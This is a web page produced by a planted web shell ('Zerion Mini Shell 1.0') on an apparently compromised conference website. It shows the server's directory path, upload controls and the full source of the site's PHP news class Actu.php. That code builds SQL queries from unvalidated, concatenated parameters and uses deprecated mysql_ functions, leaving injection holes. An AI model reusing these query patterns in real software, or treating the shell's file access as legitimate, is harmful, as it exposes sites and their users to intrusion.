%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-eldw.eu/public_html/inc/classes/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-eldw.eu/public_html/inc/classes/Actu.php

<?php

class Actu extends Load {

	var $bd;
	var $language;
	var $sect;

	function Actu() {
		//constructor
		parent::Load();
		$this->bd = new BaseOps;
		$this->language = new Lang;
		$this->sect = new Section;
	}
	
	function affiche_actu($actu)
	{
		include("templates/actu/actu.php");
	}
	
	function infos_actu($id, $lang=false)
	{
		$query = "SELECT * FROM `actu` WHERE id = ".$id;
		if(!$lang) $lang = $this->language->getlangid();
		if($this->bd->isres($query))
		{
			$data = $this->bd->select_array($query);
			$query = "SELECT * FROM `actu_lang` WHERE actu = ".$data['id']." AND lang = ".$lang;
			$datalang = $this->bd->select_array($query);
			$is_date_fin = $data['date_fin'] != "" && $data['date_fin'] != "0000-00-00";
			$datetime = new DateTime($data['date_debut']);
			$mois_debut = $datetime->format('m');
			$annee_debut = $datetime->format('Y');
			$actu = array (
				'id' =>  $data['id'],
				'section' =>  $data['section'],
				'type' => $data['type'],
				'date' =>  dateFr($data['date']),
				'date_debut' => dateFr($data['date_debut']),
				'mois_debut' => $mois_debut,
				'annee_debut' => $annee_debut,
				'date_fin' => dateFr($data['date_fin']),
				'is_date_fin' => $is_date_fin,
				'hotpage' => $data['hotpage'],
				'photo1' => $data['photo1'],
				'photo2' => $data['photo2'],
				'photo3' => $data['photo3'],
				'photo4' => $data['photo4'],
				'docactu' => $data['docactu'],
				'titre' => $datalang['titre'],
				'texte' => htmldecode($datalang['texte']),
				'permalien' => $datalang['permalien'],
				'couleur' => $this->sect->couleur_section($data['section']) );
			return $actu;
		}
		else return null;
	}
	
	function liste_event($jour,$mois,$annee, $section = false)
	{
		$jour = str_pad($jour, 2, "0", STR_PAD_LEFT);
		$mois = str_pad($mois, 2, "0", STR_PAD_LEFT);
		$annee = str_pad($annee, 4, "0", STR_PAD_LEFT);
		$date = $annee."-".$mois."-".$jour;
		$query = "SELECT * FROM `actu` WHERE (type = 1 OR type = 3) AND  date_debut = '".$date."'";
		if($section)
			$query .= " AND section = ".$section;
		$query .= " ORDER BY id ASC";
		if($this->bd->isres($query))
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$query = "SELECT * FROM `actu_lang` WHERE actu = ".$data['id']." AND lang = ".$this->language->getlangid();
				$datalang = $this->bd->select_array($query);
				$res[$nb] = array (
					'id' =>  $data['id'],
					'section' =>  $data['section'],
					'type' => $data['type'],
					'date' =>  dateFr($data['date']),
					'date_debut' => dateFr($data['date_debut']),
					'date_fin' => dateFr($data['date_fin']),
					'hotpage' => $data['hotpage'],
					'photo1' => $data['photo1'],
					'photo2' => $data['photo2'],
					'photo3' => $data['photo3'],
					'photo4' => $data['photo4'],
					'docactu' => $data['docactu'],
					'titre' => $datalang['titre'],
					'texte' => htmldecode($datalang['texte']),
					'permalien' => $datalang['permalien'],
					'couleur' => $this->sect->couleur_section($data['section']) );
				$nb++;
			}
			return $res;
		}
		else return null;
	}
	
	//Afficher les actus de toutes les catégories
	function afficher_actus_cat($limit=false)
	{
		if(!$limit) $limit = 5;
		$res = $this->sect->liste_categories(true);
		foreach ($res as $categorie)
		{
			$res2 = $this->sect->liste_sections_cat($categorie['id']);
			if ($res2 != null)
			{
				$query = "SELECT * FROM `actu` WHERE ( type = 1 OR type = 2 )";
				$nb = 1;
				foreach ($res2 as $section)
				{
					if($nb == 1)
						$query .= " AND ( section = ".$section['id'];
					else
						$query .= " OR section = ".$section['id'];
					$nb++;
				}
				$query .= ") ORDER BY date DESC,id DESC LIMIT 0,".$limit;

				if($this->bd->isres($query))
				{
					$result = $this->bd->q($query);
					$nb = 0;
					echo '<div class="secactu" style="border-color:#'.$categorie['couleur'].'">'."\n
							<div style=\"background-color:#".$categorie['couleur']."\">".$categorie['ptititre']."</div>\n
							<ul>\n";
					while( $data = mysql_fetch_assoc($result)) {
						$query = "SELECT * FROM `actu_lang` WHERE actu = ".$data['id']." AND lang = ".$this->language->getlangid();
						$datalang = $this->bd->select_array($query);
						$is_date_fin = $data['date_fin'] != "" && $data['date_fin'] != "0000-00-00";
						$datetime = new DateTime($data['date_debut']);
						$mois_debut = $datetime->format('m');
						$annee_debut = $datetime->format('Y');
						$actu = array (
							'id' =>  $data['id'],
							'section' =>  $data['section'],
							'type' => $data['type'],
							'date' =>  dateFr($data['date']),
							'date_debut' => dateFr($data['date_debut']),
							'mois_debut' => $mois_debut,
							'annee_debut' => $annee_debut,
							'date_fin' => dateFr($data['date_fin']),
							'is_date_fin' => $is_date_fin,
							'hotpage' => $data['hotpage'],
							'photo1' => $data['photo1'],
							'photo2' => $data['photo2'],
							'photo3' => $data['photo3'],
							'photo4' => $data['photo4'],
							'docactu' => $data['docactu'],
							'titre' => $datalang['titre'],
							'texte' => htmldecode($datalang['texte']),
							'permalien' => $datalang['permalien'],
							'couleur' => $this->sect->couleur_section($data['section']) );
						
						include("templates/actu/actu_3.php");
					}
					echo "</ul></div>\n";
				}
			}
		}
	}

	//Afficher les actus
	function afficher_actus($section=false, $mode=false, $home=false)
	{
		if($mode == 2)
		{
			$res = $this->liste_actus($section, 0, true);
			if($res != null)
			{
				foreach ($res as $actu)
				{
					include("templates/actu/actu_2.php");
				}
			}
		}
		else if($mode == 3)
		{
			$res = $this->liste_actus($section, 0, true);
			if($res != null)
			{
				foreach ($res as $actu)
				{
					include("templates/actu/actu_4.php");
				}
			}
		}
		else {
			$res = $this->liste_actus($section, 3, true, false, $home);
			if($res != null)
			{
				foreach ($res as $actu)
				{
					include("templates/actu/actu_1.php");
				}
				$res2 = $this->liste_actus($section, 6, true, 3, $home);
				if($res2 != null)
				{
					foreach ($res2 as $actu)
					{
						include("templates/actu/actu_2.php");
					}
				}
			}
			else {
				// Pas d'actus
				include("templates/actu/no_actu.php");
			}
		}
	}
	
	// Liste des actualités
	function liste_actus($section=false, $limit=false, $noevent=false, $debut=false, $home=false)
	{
		$query = "SELECT * FROM `actu`";
		if($section)
		{
			$query .= " WHERE section = ".$section;
		}
		if($noevent)
		{
			if($section) $query .= " AND ( type = 1 OR type = 2 )";
			else $query .= " WHERE (type = 1 OR type = 2)";
		}
		if($home == 1)
		{
			if($section || $noevent) $query .= " AND (hotpage = 1)";
			else $query .= " WHERE (hotpage = 1)";
		}
		if($home == 2)
		{
			if($section || $noevent) $query .= " AND (hotpage = 2)";
			else $query .= " WHERE (hotpage = 2)";
		}
		if(!$debut) $debut = 0;
		$query .= " ORDER BY date DESC,id DESC";
		if($limit)
		{
			$query .= " LIMIT ".$debut.",".$limit;
		}
		if($this->bd->isres($query))
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$query = "SELECT * FROM `actu_lang` WHERE actu = ".$data['id']." AND lang = ".$this->language->getlangid();
				$datalang = $this->bd->select_array($query);
				$is_date_fin = $data['date_fin'] != "" && $data['date_fin'] != "0000-00-00";
				$datetime = new DateTime($data['date_debut']);
				$mois_debut = $datetime->format('m');
				$annee_debut = $datetime->format('Y');
				$res[$nb] = array (
					'id' => $data['id'],
					'section' => $data['section'],
					'type' => $data['type'],
					'date' =>  dateFr($data['date']),
					'date_debut' => dateFr($data['date_debut']),
					'mois_debut' => $mois_debut,
					'annee_debut' => $annee_debut,
					'date_fin' => dateFr($data['date_fin']),
					'is_date_fin' => $is_date_fin,
					'hotpage' => $data['hotpage'],
					'photo1' => $data['photo1'],
					'photo2' => $data['photo2'],
					'photo3' => $data['photo3'],
					'photo4' => $data['photo4'],
					'docactu' => $data['docactu'],
					'titre' => $datalang['titre'],
					'texte' => htmldecode($datalang['texte']),
					'permalien' => $datalang['permalien'],
					'couleur' => $this->sect->couleur_section($data['section']) );
				$nb++;
			}
			return $res;
		}
		else {
			return null;
		}
	}
	
	function next_events($limit, $section = false) {
		$query = "SELECT * FROM `actu`";
		$query .= " WHERE date_debut >= date(now())";
		if($section)
		{
			$query .= " AND section = ".$section;
		}
		$query .= " AND ( type = 1 OR type = 3 )";
		$query .= " ORDER BY date_debut ASC,id DESC";
		$query .= " LIMIT 0,".$limit;
		if($this->bd->isres($query))
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$query = "SELECT * FROM `actu_lang` WHERE actu = ".$data['id']." AND lang = ".$this->language->getlangid();
				$datalang = $this->bd->select_array($query);
				$is_date_fin = $data['date_fin'] != "" && $data['date_fin'] != "0000-00-00";
				$datetime = new DateTime($data['date_debut']);
				$mois_debut = $datetime->format('m');
				$annee_debut = $datetime->format('Y');
				$res[$nb] = array (
					'id' => $data['id'],
					'section' => $data['section'],
					'type' => $data['type'],
					'date' =>  dateFr($data['date']),
					'date_debut' => dateFr($data['date_debut']),
					'mois_debut' => $mois_debut,
					'annee_debut' => $annee_debut,
					'date_fin' => dateFr($data['date_fin']),
					'is_date_fin' => $is_date_fin,
					'hotpage' => $data['hotpage'],
					'photo1' => $data['photo1'],
					'photo2' => $data['photo2'],
					'photo3' => $data['photo3'],
					'photo4' => $data['photo4'],
					'docactu' => $data['docactu'],
					'titre' => $datalang['titre'],
					'texte' => htmldecode($datalang['texte']),
					'permalien' => $datalang['permalien'],
					'couleur' => $this->sect->couleur_section($data['section']) );
				$nb++;
			}
			return $res;
		}
		else {
			return null;
		}
	}
	
	function suppr_photos($actu) {
		$query = "SELECT * FROM `actu` WHERE id =".$actu;
		$data = $this->bd->select_array($query);
		if($data['photo1'] != null && file_exists("uploads/".$data['photo1']))
		{
			unlink("uploads/".$data['photo1']);
		}
		if($data['photo2'] != null && file_exists("uploads/".$data['photo2']))
		{
			unlink("uploads/".$data['photo2']);
		}
		if($data['photo3'] != null && file_exists("uploads/".$data['photo3']))
		{
			unlink("uploads/".$data['photo3']);
		}
		if($data['photo4'] != null && file_exists("uploads/".$data['photo4']))
		{
			unlink("uploads/".$data['photo4']);
		}
		if($data['docactu'] != null && file_exists("uploads/".$data['docactu']))
		{
			unlink("uploads/".$data['docactu']);
		}
	}
	
	function suppr_photo($actu, $num) {
		$query = "SELECT * FROM `actu` WHERE id =".$actu;
		$data = $this->bd->select_array($query);
		if($num == 5) {
			if($data['docactu'] != null && file_exists("uploads/".$data['docactu']))
			{
				unlink("uploads/".$data['docactu']);
			}
		}
		else if($data['photo'.$num] != null && file_exists("uploads/".$data['photo'.$num]))
		{
			unlink("uploads/".$data['photo'.$num]);
		}
	}
}

?>

Zerion Mini Shell 1.0